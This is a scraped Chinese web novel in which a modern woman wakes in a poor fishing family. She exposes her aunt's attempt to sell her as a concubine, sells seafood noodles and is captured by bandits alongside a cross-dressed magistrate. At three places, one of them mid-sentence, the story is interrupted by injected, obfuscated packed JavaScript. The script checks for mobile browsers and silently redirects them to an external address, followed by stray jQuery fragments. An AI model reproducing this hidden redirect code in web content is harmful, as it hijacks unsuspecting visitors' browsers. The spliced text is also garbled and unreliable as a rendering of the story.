《古代渔女发家日常》 1. 天崩开局 春寒乍暖,已是二月,清晨的小渔村,朝露未晞,海风裹挟着凉意吹拂而来。 “呜呜呜,阿姐,你醒醒啊。” 云楚沅意识清醒时,就感觉自己的身体在被摇晃,耳畔传来一阵阵抽泣声。 她费劲地掀起眼皮,映入眼帘的是坑坑洼洼的墙面,盖在身上的薄被发出一股霉味。 脑袋一阵刺痛,云楚沅断断续续接收到了许多不属于她的记忆。 原来,她这是穿越了…… 云楚沅是家住海边的赶海博主,跟着家人一起搞养殖,今早她在鱼塘巡视时,一个脚滑跌入水中。 谁能想到,这一下子就穿越到古代不知名的小渔村了。 原主与云楚沅同名同姓,爹娘前几日出海时丧生。 云楚沅刚过及笄,一时经受不住打击病倒了,家中两个年幼的弟妹六神无主,日日在床头哭泣。 “阿姐,你醒了!哥哥,快来啊,阿姐醒了!” 面黄肌瘦的小丫头跌跌撞撞地跑出了屋子。 云楚沅揉着额头,缓缓撑起身子,消化着自己穿越这件事。 “阿姐!来吃点东西。”头发蓬乱的小男孩捧着一个碗,小心翼翼地递到云楚沅的眼前。 云楚沅看着眼前双眼发红、骨瘦嶙峋的两个孩子,接过那碗不见一粒米的汤水,心里很不是滋味。 别人穿越不是达官贵人就是千金小姐,怎么轮到自己,就是家徒四壁、穷困潦倒的天崩开局。 云楚沅欲哭无泪,穿都穿了,还能怎么办,只能接受现实了。 “阿姐,你好点了吗?” 女娃哽咽的声音打断了云楚沅的思绪。 她露出一个虚弱的笑容,伸手揉了揉两个孩子的脑袋,轻声说道:“楚河,楚清,阿姐没事了,这几日辛苦你们两个照顾我了。” 云楚河咬着嘴唇:“阿姐,村里人都说你活不成了,我才不信呢!” 云楚沅心想,小弟弟,你阿姐的确是一命呜呼了。 不过她既然来到这里,继承了这具身体,就一定会替原身照顾好家人。 云楚沅紧了紧身上缝满补丁、捉襟见肘的粗布麻衣,拖着无力的身体从床上下来。 打量了一圈周围的环境,她再次对这个家的贫穷叹为观止。 土柸砌成墙上不断有墙皮掉落,桌椅床榻破败不堪,不像是能住人的样子。 破旧的漏风木门,轻轻一推,发出“吱哟吱哟”的声响。 云楚沅经过萧条的院子,走进简陋的厨房去刷碗,一点油水也没有的裂口陶碗,拿水一冲就干净了。 她逡巡了一圈,打开橱柜,掀开米缸,果然不出所料,空无一物。 云楚沅默默叹了口气,走了出去,静静思索着接下来该怎么办。 紧挨着厨房土墙后传来窸窸窣窣的响声,吸引了云楚沅的注意。 她轻手轻脚地靠了过去,贴到墙上,竟听到两个妇人的密谋。 “陈媒婆,你找我就对了,我那个外甥女长得水灵,为人老实,配给徐公子做妾,那是她几辈子修来的福气啊。” 一道尖锐的女声响起,即便压低了声音,也叫云楚沅听得清清楚楚,说话之人分明是原身的舅母。 “哼,最好像你说的那样,徐家纳妾可是要找好生养的,徐夫人等着抱金孙呢。呐,这是一两银子,你先收着,事办成了,少不了你的好处。” “哎哟,我的老姐姐呀,我还能框你不成?”谄媚的妇人瞬间喜笑颜开。 听闻两人的对话,云楚沅瞬间后背发凉。 这个舅母尖酸刻薄,向来爱占小便宜,云家夫妇刚刚过世,她就打起来他们长女的主意。 云楚沅用脚趾头想,都知道这老虔婆想干什么。 无非是像把她卖了换钱,再借着亲戚的名义,堂而皇之地霸占她家的房子。 呸,这小算盘打的真响,云楚沅暗暗啐了一口。 要是原先胆小怯懦的云楚沅还活着,兴许就会被舅母的三言两语蒙骗。 可如今,在这的是她云楚沅,她是绝不会让这恶毒舅母的奸计得逞。 眼珠子一转,云楚沅悄悄进了里屋,将云楚河叫了过来,“阿弟,你去帮我办件事。” 她凑近云楚河的耳畔,小声嘀咕了一番。 云楚河面色严肃,郑重地点了点头。 云楚沅往脸上撒了点水,溜进了屋内,躺到床榻上静静等待。 “砰”的一声踹门声响起,大嗓门的妇人高声喊道:“沅儿,舅母来看你了。” 云楚沅闭紧双眼,咬牙切齿地想,她家的门本来就不结实,踹坏了怎么办? “哎哟,我们沅儿啊,这是怎么了?” 紧接着房门被推开,讨人厌的声音来到床前。 云楚沅装作被惊醒的样子,缓缓睁开双眼。 “咳咳,舅母,您怎么来了?我发热了,传染给您可不好。” 云楚沅面色苍白,捂着口鼻不停咳嗽,额头挂着水珠,看起来一副病入膏肓的模样,我见犹怜。 陈媒婆挑剔的眼神来回扫视着坐起身来的少女,倒是有几分姿色,不过这身子骨看着可不大好,仿佛马上就要香消玉殒了。 “舅母,这位是?”云楚沅疑惑地看向眼前陌生的妇人。 “沅儿啊,我这次来,可是有好事要说与你听的。” 这位舅母眼神泛着精光,装出一副和蔼可亲的样子,蛊惑道:“沅儿啊,你爹娘没了,你一个人怎么照顾楚河跟楚清啊。舅母请人为你说了门好亲事,保准叫你后半辈子衣食无忧。” 云楚沅心里冷笑,要真是好亲事还能轮得到我?你早把自己的女儿嫁过去了。 “舅母,阿沅不求荣华富贵,只求觅得一个踏实肯干的如意郎君。别的不说,我将来的相公得像我爹爹一样老实,没有花花肠子。”云楚沅羞涩一笑。 妇人脸色一变,继续劝道:“沅儿啊,老实又不能当饭吃,银子才是实打实的,徐家可是镇上有名的富绅,你虽是做妾室,那也是去享福的呀。” “做妾?我怎能如此轻贱自己呢?倘若我爹娘泉下有知,定会死不瞑目的,嘤嘤嘤。” 云楚沅坐在床边潸然泪下,她的身子摇摇欲坠,一下子摔倒了地上。 “舅母,我们什么仇什么怨?你要这般作践我?枉我还以为你和舅舅是我仅剩的亲眷,你却要将我推入火坑!” 面对云楚沅的控诉,妇人面色铁青,她怎会承认自己有歹心,她揽住云楚沅的肩膀,想将她扶起来。 熟料云楚沅不为所动,竟赖在地上不起来了。 “舅母,你到底收了别人多少好处,才想将我卖掉,你难道不会良心不安吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716718|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不等舅母反驳,她嚎啕大哭起来:“呜哇,爹,娘,你们怎么不把我一起带走啊,女儿被人欺负都没有人为我出头。” “沅儿,谁欺负你了!” 房门被推开,门外围着许多村民,为首的正是小渔村的村长。 云楚河从人堆里挤了进来,一下子扑到云楚沅的跟前,痛哭流涕道:“阿姐,我把村长喊来了,一定不会叫你被舅母卖掉!” 云楚沅在众人看不到的角度,向他使了个“干的漂亮”的眼神。 她吩咐云楚河去把村长请来,一路上大声哭喊,最好搞得人尽皆知,她是打定主意要把这家丑扬出去。 “村长,您一定要救救我啊,我那舅母用一两银子将我卖给人做小妾,这是要逼死我啊!”云楚沅继续哭天抢地,作出万念俱灰的样子。 “你胡说什么!我分明在给你说亲,哪里是卖!”妇人面容狰狞。 云楚沅眼疾手快地从舅妈的腰间掏出一块碎银子,“我亲眼所见,这就是证据。你们买卖妇女,就算告到衙门,也是我占理!” 妇人未曾想到云楚沅早就偷听到她和陈媒婆的对话,先前与她虚与委蛇,只不过是在拖延时间,待小渔村的村民们赶来,当众揭穿她。 她指着云楚沅的鼻子破口大骂:“你这没爹没娘的小贱人,敢算计我?” 村长怒目圆瞪:“王桂芬,我们村不欢迎你,哪来的回哪去!” 云楚沅哭哭啼啼地说道:“好人不长命,祸害遗千年。老天真是不长眼啊,我爹娘可是救了许多条人命的大善人,要是知晓我被欺辱,岂非抱恨黄泉?” 她话里有话,旨在暗示村民,云家夫妇乃是为救同村的青年们而丢了性命。 那些承蒙恩惠的村民本就对云家三姐弟心怀愧疚,一听这话,自然愤怒难忍。 “对啊,老云夫妻俩过世了,大伙儿理当照顾他们的孩子,怎么能让他们被人欺负了去。” “就是,这隔壁村的婆娘凭什么在我们小渔村耀武扬威!” “哼,这种丧尽天良的泼皮就是欠教训,敢来这儿撒野,我叫你好看!” 一位性子泼辣的婶子拿起院子里的扫帚,就往王桂芬和陈媒婆的身上招呼。 其他人有样学样,纷纷从家中取来趁手的棍棒,将两人撵了出去。 云楚沅幸灾乐祸地看着舅母狼狈逃窜的背影,趁乱在她身上拧了两下。 “啊!你们小渔村的人当真是不讲理。”舅母嗷嗷叫着,抱头鼠窜。 “你们这群刁民,给我等着!”陈媒婆发丝凌乱,心中恼火,她就不该来这一趟,平白无故地遭受了无妄之灾。 云楚沅摩挲着掌心的银子,满意地点头,心安理得地收下了这笔飞来横财。 村民们安慰了云楚沅两句,相继离开了云家,只余村长夫人留了下来。 “楚沅,你放心吧,那贼婆娘再来,我们会替你做主的。你也不容易,还有欠债要还,村里人都是通情达理的,愿意等你慢慢还。” 云楚沅动作一僵,有种不祥的预感,她声音颤抖地发问:“什么欠债?” 村长夫人面露讶异:“楚沅,你不知道吗?你爹生前盘算着自己做点营生,借钱打造了一条小船,还承包了村里的废弃池塘。” 云楚沅只觉晴天霹雳,这就是所谓的祸不单行吗? 2. 对簿公堂 俗话说,靠山吃山,靠海吃海。 小渔村的人皆是渔民,村民们分批出海捕捞,以卖鱼虾为生。 云楚沅怀着沉重的心情,出门打探了一番,她爹请人新打造的木船出海时被海浪打翻,破损严重。 村子里废弃多年的池塘,堆积了数不清的淤泥,水面飘满翻白眼的死鱼,散发着一股酸臭味。 云楚沅明白当务之急就是搞钱,待她将木船修好,可以出海捕捞,鱼塘清理干净后还能搞养殖。 问题是做这些事情都需要本钱,如今她的手里只有一两银子,实在是不顶用。 她心念一动,回家取了个木桶来到海边,她想试一试自己的特殊体质有没有一同穿越过来。 云楚沅自小在海边玩耍时就发现,她特别受小鱼小虾的欢迎,每次赶海都能满载而归,家里的养殖生意交到她手上后,海鲜更是被养得生龙活虎。 踩在海滩的细沙上,脚下发出“沙沙”的声响,海浪拍打在礁石上,将石头表面冲刷得十分光滑。 远处的海面波光粼粼,与湛蓝的天空交相辉映,二月初的清晨,正是退小潮之际。 海水退却后的岸边,留下不少小水洼,偶尔有几条搁浅的小黄鱼蹦跶不停,卧沙的猫眼螺鼓起一个个小包,还有吸附在贝壳中的八爪鱼张牙舞爪。 云楚沅一手拿铲子,一手提桶,眼疾手快地将目光所及之处的所有海鲜一网打尽。 沿着海岸线走,水中的鱼儿争相跳出水面,银白色的鳞片吸引着云楚沅的注意,竟有螃蟹挥舞着双钳,主动爬进她的木桶。 云楚沅笑裂了嘴,看来她的金手指还在,难道这冥冥之中自有天意? 收获颇丰的云楚沅哼着小曲走回家中,今日的午饭算是有着落了。 她将几条体型大一些的黄花鱼丢进水缸里养着,剩余的小鱼、螃蟹和八爪鱼直接水煮,用厨房见底的酱油做蘸料。 “楚河、楚清,出来吃饭吧。” 主屋的门“吱呦”一声被推开,两个孩子走了出来。 云家小院只有三间泥胚房,主屋和侧屋,外加一间灶房。 原先主屋住着云氏夫妇,侧屋挤着三姐弟,现如今爹娘去世了,云楚沅就安排弟弟妹妹住进了面积大一点的主屋。 这对双胞胎将将六岁,还不到避嫌的年纪。 “阿姐,晌午过后,我打算跟着村长他们一起出海,学着捞鱼。”吃着饭的云楚河主动开口。 经历双亲离世的男孩隐隐有了立起来的念头,尤其昨日亲眼目睹阿姐的遭遇,他心里发誓要做顶天立地的男子汉,保护好自己的家人。 “阿姐,我要去找隔壁的春香姐学针线活。”云楚清不甘示弱地说道,她一个小丫头也生出了补贴家用的心思。 云楚沅看着他们两个认真的眼神,很是欣慰,“好,既然你们有成算,阿姐支持你们。家里没粮食了,用完饭后,我准备进城一趟。” 小渔村隶属于临海县,是地理偏僻的三不管地带,朝廷鞭长莫及。 被派遣到此地的官员相当于变相流放,历任县令勾结富绅搜刮民脂民膏,百姓们怨声载道。 云楚沅行走在临海县的大街上,发现这里百姓们的精神面貌萎靡,商铺生意也不甚好。 从原主的记忆可知,这座小县城经济落后,时不时还会有流寇出没,除了地主富绅,普通平民的日子并不好过。 云楚沅从徐记粮铺卖了些米面,出门时不小心撞上了一名男子。 不等她道歉,一道轻佻的声音响起:“哟,这不是云家小娘子吗?还没过门,就迫不及待对小爷投怀送抱了?” 云楚沅抬头一看,说话之人是一位油头粉面的纨绔子弟,他身后跟着几名耀武扬威的小厮。 “公子,我不认识你,还请自重!” 云楚沅从男子的话中大概判断出来者何人,她就更不想与这样下三滥之人扯上关系。 “啧啧啧,你的好舅母收了我的聘礼,你已经算是我的人了。” 徐公子轻摇着手中的折扇,伸出手指挑了下云楚沅的下巴,言行无状,举止粗俗。 云楚沅柳眉轻蹙,她那无赖舅母又折腾什么幺蛾子呢,难道是还不死心? “我不知道你在说什么,谁收了公子的聘礼您就去找谁,与小女子无关。”云楚沅面色冷淡,转身欲走。 熟料徐公子一把扯住了她的衣袖,阻止了她。 “诶,小娘子别走呀,瞧瞧看吧,我可没有说谎话。” 徐公子从怀里取出一张纸扬了扬,云楚沅抢过来一看,竟是一份纳妾的彩礼单子,上头列举的财物价值好几十两,她舅母王桂芬的大名歪歪扭扭写在上面,还盖着一个血红指印。 云楚沅气得浑身发抖,好你个王桂芬,贼心不死,待她脱身,定要报仇。 徐公子和他身边的下人将她团团围住,拖进附近的小巷。 周围的顾客作鸟兽状散去,显然是不想多管闲事,得罪这位临海县大名鼎鼎的徐家少爷。 云楚沅大感不妙,她知晓这次是在劫难逃了。 正当她一边奋力抵抗眼前之人的动手动脚,一边冷静思考着脱身之法时,不远处传来一道清越的男声。 “光天化日,朗朗乾坤,尔等宵小作甚?” 云楚沅闻言望去,只见一位玉树临风、身姿挺拔的俊秀书生站在巷口,正气凛然,气度不凡。 “你是何人?也不打听打听我徐家在这临海县什么地位,就算天王老子来了,都管不了我。”徐公子气焰嚣张地嚷嚷道。 剑眉星目的书生面不改色:“哼,目无王法,胆敢强抢民女,今日在下便替天行道。” “唰”的一声,来人抽出腰间佩剑,修长的身形一闪,直直冲向徐公子。 徐公子大骇,万万想不到在这小小临海县还有敢对他拔剑之人,他将身边的下人推了出去,大喊道:“快保护我!” 书生身形消瘦,剑法却相当凌厉,一招一式直击要害。 徐家的小厮举起随身携带的棍棒慌忙反击,为首之人只觉手中一轻,棍子已被挑落,其他下人见状,一拥而上,试图仗着人多势众拿下这不知天高地厚的小子。 书生丝毫不惧,轻巧避过迎面袭来的木棍,长剑如同灵蛇流窜而出,打得他们节节退败,纷纷倒地,哀嚎不止。 徐公子气得面色通红:“废物!你们这群饭桶,连这个小书生都治不住,我养你们有何用!”说罢,他慌不择路地从巷尾溜走了,临走前还不忘留下一句狠话。 “臭小子,你给我等着,待我回去告诉我爹,他绝对饶不了你!” 云楚沅双眼放光地盯着眼前这位神色清冷的书生,心底不由感叹,这就是英雄救美的滋味吗?感觉还不赖! 她平日里见惯了海边风吹日晒的糙汉,乍一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716719|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到如此宛如嫡仙的翩翩公子,难免恍惚。 “姑娘,你没事吧!姑娘!” 眼前晃动的指节分明的手背,堪堪唤醒云楚沅的神志,她停止犯花痴,脸颊通红地轻声道谢:“多谢公子相救,不知公子姓甚名谁?家住何处?日后小女子定会报答恩公。” 书生不以为意地说道:“无碍便好,在下不过是路见不平拔刀相助,担不得一句恩公,姑娘不必挂怀。倘若日后再遇麻烦,可到县衙求助,告辞。” 云楚沅望着书生转身离开时被风吹起的衣摆,久久不能回神。 回到家中的云楚沅越想越气,她当即找上村长,将今日在县城所遇之事道了出来,村长听闻勃然大怒,召集村民决定为她讨回公道。 云楚沅略一思索,直接带着村民去县衙,状告舅母王桂芬买卖妇女。 威严庄重的县衙大堂,云楚沅瞧见高坐上位的眼熟书生时,略微晃神,想不到临海县新来的县令就是她的救命恩人。 她心中大定,既然县太爷是此人,定会秉公执法。 裴昱臣也略显惊诧,没想到刚救下的女子,这么快就再次相遇。 “堂下何人,所告何事?”年轻县令板着脸端坐,气势十足。 衣着朴素的云楚沅眼神决然道:“回大人,小女子今日冒死前来,是要状告我那恶毒舅母!” 女子的声音带着哭腔,却又透着倔强,在这寂静的大堂里传开。 云楚沅的眼中蓄满泪水,诉说自己的悲惨遭遇:“小女子名唤云楚沅,小渔村人士,我爹娘刚过世,我那狠心舅母上门来欲将我卖给徐家做妾,还望大人为小女子做主。” 她攥紧衣角,忍不住掩面痛哭,周围的差役都为之动容。 县令轻拍一下惊堂木,沉声说道:“云氏,你可有人证物证?” 云楚沅从怀里掏出印有王桂芬手印的彩礼单,高声说道:“大人,此乃物证,我们村所有人皆是人证。” 裴昱臣扫了一眼差役呈上来的纸,传唤候在堂外的小渔村村民,又下令搜查王桂芬的家是否有来历不明的财物。 两刻钟后,衙役押着王桂芬来到公堂,手里提着一包金银珠宝,正好与彩礼单上的物品一一对应。 王桂芬的脸上不见丝毫愧疚之色,跪在地上仍旧嘴硬:“哼,你这死丫头,竟敢跑到这公堂之上污蔑我。我所做之事皆是为了你好,若不是怜你孤苦无依,我又怎会操这份闲心,想方设法为你寻个好归宿。” 云楚沅对她的强词夺理深感厌恶,差点忍不住扑上去赏她两个耳光。 “肃静!” 裴昱臣又拍一下惊堂木,宣判道:“罪妇王氏,买卖良家妇女未遂,证据确凿,按我朝律例,卖人为妻妾者徒三年。” 待凶神恶煞的衙役将跪在地上的王桂芬拽起时,她才后知后觉地面露惶恐,无知妇人并不知晓将自家外甥女嫁人还会违法。 王桂芬慌了神,不断磕头,连声哀求:“大人,大人,我知错了,饶了我吧!” 她被拖行至云楚沅身边时,一把捉住云楚沅的手腕,仿佛抓住最后一根救命稻草,“沅儿,沅儿,舅母错了,你快为我求求情,我不想下大狱啊。” 云楚沅冷笑一声,用力将舅母的手甩开,此等毒妇还是在牢里好好反省吧! 这桩糟心事落下帷幕,走出县衙大门的云楚沅神清气爽,她可算是出了一口恶气。 3. 海鲜面 落日熔岩,黄昏时的小渔村,宛如蒙上了一层金红纱衣。 微风轻拂过的海面泛起层层涟漪,带来海水的咸湿气和淡淡的鱼腥味。 归来的渔船满载收获,鱼篓里鱼虾跳跃,皮肤黝黑的渔夫们洋溢着笑容,抛锚靠岸,卸载货物。 孩童们赤足奔跑在沙滩上,清脆悦耳的笑声此起彼伏,他们提着竹篓,挑捡着贝壳。 海岸边错落有致的房屋,升起袅袅青烟,渔家女正在灶台前忙碌着,准备吃食,等待归家的男人。 夜幕悄然降临,小渔村每家每户渐渐亮起灯火,一家老小围坐桌前享用晚膳,欢声笑语连绵不断。 云家小院中,虽不如别家热闹,却也透着温馨。 “阿姐,这是我今日出海的收获。” 云楚河走进厨房,将背上的竹篓放到地上,云楚沅凑近一看,有三条不大不小的鱼,虽不多,却是孩子头一回捕捞,理应给予鼓励。 “楚河,辛苦了,去洗洗手,阿姐做了香喷喷的海鲜面。” “阿姐,你瞧,我能自己缝补衣裳了。”云楚清跑进来,举起手中的旧衣,一脸骄傲地看向云楚沅。 “楚清也很厉害。” 补丁四周的针脚粗糙,但女孩的手指上布满了小红点,云楚沅又怎会泼她冷水呢。 端上桌的海鲜面香气四溢,红彤彤的鲜虾紧实饱满,裂开口的蛤蜊肉质肥美,雪白诱人的鱼片口感爽滑,吸饱汤汁的手擀面劲道弹牙,每一口都能品尝到海鲜的鲜美。 三人大口大口地吃下一碗海鲜面,又动作一致地又盛了一碗,在这凉风阵阵的晚间,暖胃又舒心。 “阿姐,你做的面真好吃。”云楚河舔了舔嘴角,意犹未尽地说道。 “嗯,太香了!”云楚清的小脑袋把头埋在碗里,像是一只拱食的小猪,惹得云楚沅止不住地发笑。 云楚沅的厨艺高超,对怎样处理海鲜也十分有经验,即便古代的调味料稀缺,凭借她的好手艺,也能惊艳没吃过珍馐美馔的普通人。 “你们说我去县城摆摊卖面怎么样?” 云楚河听这话思索了一会,给予了肯定的回答,“我觉得行,凭阿姐你的手艺,绝对能赚钱。” 翌日破晓,天色尚未大亮。 云楚沅早早起床准备今日要用到的食材,楚河和楚清听到院子里的声响,揉着惺忪的睡眼,也跟着帮忙。 泡了一夜的蛤蜊已将沙子吐净,活虾去虾头去虾线,开膛破肚的肥鱼被片成薄如蝉翼的鱼片。 热油下葱姜蒜爆香,加入虾头煸炒,最后倒入由虾壳鱼骨熬制而成的奶白清汤,用盐调味后,海鲜浇头就做好了。 和好的面团醒发过后,擀成面片折叠起来,再用刀切成细长的面条。 云楚沅从院子里的角落推出一辆破旧的小推车,将食材、铁锅、碳桶全部装上去,海鲜面要现做才好吃。 三姐弟整装待发,趁着朦胧的天色上路了。 小渔村距离临海县不算太远,他们到集市时,熙熙攘攘的街道已经传来小贩的吆喝声。 这个时辰的早市卖菜的居多。 云楚沅带领弟妹将小摊摆好,把铁锅架到碳桶上,煮了一锅热水,下入的面条在水中沸腾翻滚。 捞出面条,淋上一勺海鲜浇头,撒一把葱花,云楚沅将这碗色香味俱全的海鲜面摆放到两个弟妹面前,示意他们快吃。 云楚河率先领悟她的意思,拿起筷子吃的津津有味,看得周围的人不住咽口水。 有人按捺不住,上前一步询问道:“小娘子,你这面怎么卖?” “十二文一碗的海鲜面,保准您吃了还想吃。” “给我来一碗。” 云楚沅手脚麻利地煮面条、淋浇头,一套动作行云流水,吸引了不少客人。 待到晌午,云楚沅准备的食材已是所剩无几,两个孩子数着铜币喜笑颜开。 在他们打算收摊之际,一个意想不到的人走了过来。 “云姑娘,面可还有卖?” 云楚沅闻声抬头,竟是新任县令大驾光临。 “恩公,稍等,我这就为你做。” 温润如玉的男子和煦一笑:“云姑娘,在下姓裴,名昱臣,不必叫我恩公,除暴安良乃我这为官之人职责所在。” 云楚沅朝着这位文绉绉的小书生轻笑:“好的,裴县令。不过衙门不管饭吗?怎要劳烦我们县令大人亲自出来买吃食?” 裴昱臣没好意思说自己挑食的毛病犯了,县衙的伙夫做的海鲜腥味重,他吃不惯。 “路过此地,被香味吸引,遂过来瞧瞧。” 云楚沅将做好的海鲜面递给他,“那裴大人有口福了,别人都对我的手艺赞不绝口。” 裴昱臣站在一旁细细品尝,这人吃东西都这么赏心悦目,不愧是文雅之人。 “这海鲜面甚是美味,在下吃好了,多谢云姑娘。”裴昱臣放下碗筷,拱手行了一礼,心满意足地离开了。 云楚沅摇头失笑,这人总是一本正经,时刻遵循繁文缛节,年纪轻轻,却端着一副小古板的模样,甚是无趣。 卖了几日海鲜面,云楚沅又推出了海鲜拌面,海鲜用豆酱翻炒,味道醇厚,别有一番滋味。 临海县出了位擅长做面食的小娘子一事,传得沸沸扬扬,自然也瞒不过徐公子的耳朵。 他这几日正在家中怄气,上回在那名书生手上吃瘪可叫他好一顿大发雷霆,没曾想他告诉父亲之后,父亲竟然叫他忍一忍。 徐公子派人打探一番此人来历,才得知他是新上任的临海县县令。 他们徐家能在临海县立足,少不了每年往上孝敬,历来的县令没少收他们徐家的好处。 倒是这新来的裴县令油盐不进,不买他们徐家的账,徐家老爷已经私下联络了临海县的各位豪绅,准备给姓裴的使使绊子。 鲜有人知,他们徐家和城外臭名昭著的黑水寨有姻亲关系,他爹曾把一个庶女送给黑水寨大当家做夫人。 临海县附近的官道经常有土匪抢劫,也是这个小地方发展不起来的原因之一。 裴昱臣新官上任三把火,盯准了黑水寨打算一举铲除,他们徐家可不会坐以待毙。 徐少爷心里认定,裴昱臣和云家小娘子有一腿,那日才会为她出头。 既然他暂时动不了裴昱臣,那先拿云家丫头开刀,也不无不可。 这头的云楚沅还不知自己被人记恨上了,她这几日心情尚佳,攒下的银两足够她把她爹留下的破船修好。 她带着云楚河出海了一趟,撒下铺天盖地的渔网后,静静等待,拉紧绳索收网时非常吃力。 果然,她的特殊体质发挥了大作用,密密麻麻的银鱼在网中跳动,还有数不清的鲳鱼、鲫鱼和鲈鱼夹杂其中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716720|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一旁的云楚河看的目瞪口呆,就算是经验丰富的老手来,都不一定有如此收获,他不禁向阿姐投去敬佩的目光。 云楚沅对此习以为常,招呼着云楚河搭把手,她盘算着这次捕捞的鱼能卖多少钱,够不够她在县里盘下一间铺子。 没错,云楚沅的下一个目标就是将小摊子升级成食肆,这样才能将她的好厨艺发挥得淋漓尽致。 可还没等云楚沅攒够租赁铺子的银钱,她就在进城的路上遭遇了意外。 这日天朗气清,云楚河和云楚清留在小渔村,她独自一人出来采买粮食。 云楚沅走在小渔村通往临海县的小路上,突然,远处传来一阵嘈杂的马蹄声和叫嚷声,她心头一紧,连忙躲在一棵大树后面,悄悄探头望去。 只见一群凶神恶煞的土匪骑马飞奔而来,他们身形魁梧,脸带刀疤,眼神凶狠,手里提着的长刀在日光下闪着寒光。 云楚沅缩着身体,握紧手心,她的心脏剧烈地跳动,大气也不敢出。 土匪们行至附近,停了下来,为首那位满脸络腮胡的大汉,勒住缰绳高声喝道:“弟兄们,咱们可好些日子没遇上肥羊了,今日一定要干票大的!” 众人纷纷附和,四散着藏匿起来,准备埋伏在此地打劫过路之人。 就在这时,一个眼尖的土匪好像察觉到了什么,他指向云楚沅的藏身之处喊道:“大哥,那儿好像有人!” 话音刚落,众人的目光都聚焦过来,云楚沅瞬间感觉如芒在背,冷汗顺着额角流淌下来。 彪形大汉翻身下马,快步走到树旁,一把将人揪了出来,周围的土匪迅速围靠过来,刀剑出鞘,寒光逼人。 “哟,哪来的这么标致的小娘子?” 云楚沅强装镇定,颤声道:“各位好汉,我身上没什么值钱的东西,还望高抬贵手,放我们一条生路。” 土匪头子听闻,发出一阵嗤笑:“哈哈,没有银钱,但你有姿色啊。来人,把她绑起来,带回我们黑水寨!” 云楚沅的心里“咯噔”一声,没想到这群土匪不劫财而是劫色,也不知这次她还能有好运脱离虎口吗。 她哪里清楚这群土匪受了徐家公子的指示,就是冲她来的。 云楚沅被关进了黑水寨的柴房,角落里缩着一位身着粉衣的女子。 她叹了口气,对这名女子升起了惺惺相惜之感,“姑娘,你是怎么被抓进来的?” 粉衣女子抬起头来,云楚沅看清她的真容,傻眼了,这姑娘怎么和裴昱臣长得那么像? “裴……裴大人?”云楚沅小心翼翼地出声问道。 画着淡妆、面容精致的女子矜持地点了点头,“云姑娘,好巧。” 云楚沅嘴角一抽,看不出来,这小县令还有这等癖好。 裴昱臣看到云楚沅一言难尽的样子,就知道她误会了。 “在下不过是为除流寇,以身犯险。” 云楚沅恍然大悟,原来裴大人是为公务献身,也许她的好运来了,她可以跟着裴昱臣离开黑水寨。 “裴大人,您有什么计划?小女子定会竭尽全力助您一臂之力!” 裴昱臣看着眼前女子笑容满面的样子,朝她勾了勾手指,“附过身来,我说与你听。” 云楚沅赶忙凑过去侧耳倾听,双眼亮晶晶的,时不时点头应和。 不愧是读书人,计划就是周全。 4. 黑水寨 夜幕降临,坐落在深山老林里的山寨喧闹起来,一群彪形大汉围坐在篝火旁,举止粗狂地喝着酒,满嘴污言秽语地调笑着。 “老大,你艳福不浅啊,今儿一下子抓来两个小美人。”贼眉鼠眼的小喽啰朝着他们黑水寨的大当家挤眉弄眼。 对面之人脸上有一道长疤,从眉梢延伸至嘴角,宛如一条蜈蚣盘踞于此,络腮胡大汉面容狰狞、凶神恶煞,仰头大笑时满是匪气。 “哈哈哈,等我和美人度过洞房花烛夜,就把她们赏给你们。” 其余土匪不怀好意地哄笑起来,他们这群亡命之徒烧杀抢掠、无恶不作,女人在他们眼中就如同银子一般,想用就用,想赠人也不过一句话的事。 “老大今夜想先享用哪位美人?” 大当家捋着络腮胡,醉眼朦胧地说道:“去把她们带上来,老子亲自挑。” 手下人连忙去柴房将云楚沅和裴昱臣带了上来。 男扮女装的裴昱臣很是别扭,走路都刻意收敛力度,轻迈莲步,垂在身侧的双手不自在地捏着裙摆,他总觉得宽松的衣裳会将自己绊倒。 走在后头的云楚沅叹为观止,这人身段柔美,瞧着比她这个真正的女子还要还淑女呀。 粗暴蛮横的土匪头子一把扯过裴昱臣,大掌揽住他纤细的腰肢,一张口喷出满满的酒气,“小……小娘子闭月羞花,冰肌玉骨,真乃绝色,跟了我不会亏待你的。” 裴昱臣额角青筋直跳,浑身僵硬,极力忍耐着给他一拳的冲动,低着头装作羞涩的模样,平日里清朗的声音刻意压低,细声细语道:“大当家只要对奴家好,奴家定全心全意地侍奉您。” “噗嗤!” 云楚沅实在没忍住,笑喷出声,一下子就吸引了众人的目光。 大当家松开裴昱臣,摇摇晃晃地站了起来,指着云楚沅说道:“笑什么笑?你莫不是羡慕了?” 云楚沅连忙摆手,后退两步。 